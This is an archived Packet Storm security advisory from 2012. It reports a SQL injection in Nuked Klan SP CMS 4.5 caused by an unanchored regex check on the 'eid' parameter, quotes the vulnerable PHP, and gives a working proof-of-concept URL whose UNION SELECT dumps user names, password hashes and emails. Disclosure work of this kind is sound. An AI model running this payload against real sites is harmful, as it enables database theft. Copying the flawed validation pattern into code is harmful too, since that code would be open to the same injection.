what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Nuked Klan SP CMS 4.5 SQL Injection

Nuked Klan SP CMS 4.5 SQL Injection
Posted Jun 14, 2012
Authored by Karim H.B., Vulnerability Laboratory | Site vulnerability-lab.com

Nuked Klan SP CMS version 4.5 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
SHA-256 | ebe08aea613afd901a49b1426f4352b085f990ac993f702cda6d8c06256333e2

Nuked Klan SP CMS 4.5 SQL Injection

Change Mirror Download
Title:
======
Nuked Klan SP CMS v4.5 - SQL injection Vulnerability


Date:
=====
2012-06-09


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=610


VL-ID:
=====
610


Common Vulnerability Scoring System:
====================================
8


Introduction:
=============
Nuked-Klan is an open source CMS. It allows you to install and administer a website in a simple and interactive.
It simply requires a hosting PHP / MySQL to work. Nuked-Klan is specialized in network games and clan management
with its version Gamer, however, a general version of SP is named.

(Copy of the Vendor Homepage: http://www.nuked-klan.org/ )


Abstract:
=========
The Vulnerability Laboratory Research Team discovered a critical sql vulnerability and regex ereg bypass in the Nuked Klan SP v4.5 CMS.


Report-Timeline:
================
2012-06-08: Public Public Disclosure


Status:
========
Published


Exploitation-Technique:
=======================
Remote


Severity:
=========
High


Details:
========
A SQL Injection vulnerability & a misconfiguration are detected in the Nuked Klan SP v4.5 Content Management System.
The vulnerability allows an attacker (remote) or local low privileged user account to inject/execute own
sql commands on the affected application dbms without user inter action. Successful exploitation of the
vulnerability results in dbms & application compromise. The vulnerabilities are located in misconfigured
regex ereg condition when processing to request the eid variable.

Vulnerable File(s):
[+] index.php

Vulnerable Parameter(s):
[+] eid


Proof of Concept:
=================
The sql injection vulnerability can be exploited by remote attackers without required user inter action.
For demonstration or reproduce ...

Before continuing to exploit, you need to know the procedure about how "Eid" variable is handled (behind).
First the user is sending a GET request with "eid" as argument then it passed to the function `show_event()`.
Now we review the content of the file "/modules/Calendar/index.php " as example ...

function show_event()
{
global $bgcolor2, $eid, $type, $d, $m, $y, $user, $nuked, $theme, $language;

if ($type == "birthday" && ereg("[a-zA-Z0-9]+$", $eid))
{
$sql = mysql_query("SELECT pseudo, prenom, age FROM " . USER_TABLE . " WHERE id = '" . $eid . "'");
list($pseudo, $prenom, $birthday) = mysql_fetch_array($sql);
$pseudo = stripslashes($pseudo);
$prenom = stripslashes($prenom); ...

This function will check if a variable contains only alpha-num characters or not, as you can see on this regex
ereg("[a-zA-Z0-9]+$", $eid) the programmer has forget to add begin check `^`. Remote attackers can bypass the
validation by adding any own special character like (+,--,#,% ) followed by the string to validate the above condition.

PoC:
http://127.0.0.1:80/nk/index.php?file=Calendar&nuked_nude=index&op=show_event&eid=
0'union+select+version(),concat(pseudo,0x3a,pass,0x3a,email),3+from+nuked_users+where%20'vuln-lab'='vuln-lab&type=birthday


Risk:
=====
The security risk of the sql injection vulnerability is estimated as high.



Credits:
========
Vulnerability Laboratory [Research Team] - Karim H.B. (kami@vulnerability-lab.com)


Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
may not apply.

Domains: www.vulnerability-lab.com - www.vuln-lab.com
Contact: admin@vulnerability-lab.com - support@vulnerability-lab.com - research@vulnerability-lab.com
Section: video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.com
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),
modify, use or edit our material contact (admin@vulnerability-lab.com or support@vulnerability-lab.com) to get a permission.

Copyright © 2012 Vulnerability-Lab




--
VULNERABILITY RESEARCH LABORATORY TEAM
Website: www.vulnerability-lab.com
Mail: research@vulnerability-lab.com

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close